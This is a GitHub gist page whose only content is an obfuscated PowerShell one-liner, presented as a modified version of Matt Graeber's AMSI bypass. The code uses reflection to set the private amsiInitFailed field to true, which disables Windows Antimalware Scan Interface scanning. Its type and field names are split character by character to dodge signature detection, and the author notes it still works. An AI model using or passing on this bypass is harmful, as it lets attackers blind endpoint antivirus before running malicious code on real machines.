Skip to content

Instantly share code, notes, and snippets.

@GetRektBoy724
Last active August 19, 2021 15:33
Show Gist options
  • Save GetRektBoy724/0f0dc95bbf12db91316098f33a51387c to your computer and use it in GitHub Desktop.
Save GetRektBoy724/0f0dc95bbf12db91316098f33a51387c to your computer and use it in GitHub Desktop.
Matt Graeber's AMSI Bypass - Modified By Me - Old School But Its Working,Why Not?
[Ref].Assembly.GetType('S'+'y'+'s'+'t'+'e'+'m'+'.'+'M'+'a'+'n'+'a'+'g'+'e'+'m'+'e'+'n'+'t'+'.'+'A'+'u'+'t'+'o'+'m'+'a'+'t'+'i'+'o'+'n'+'.'+'A'+'m'+'s'+'i'+'U'+'t'+'i'+'l'+'s').GetField('a'+'m'+'s'+'i'+'I'+'n'+'i'+'t'+'F'+'a'+'i'+'l'+'e'+'d','N'+'o'+'n'+'P'+'u'+'b'+'l'+'i'+'c,'+'S'+'t'+'a'+'t'+'i'+'c').SetValue($null,$true)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment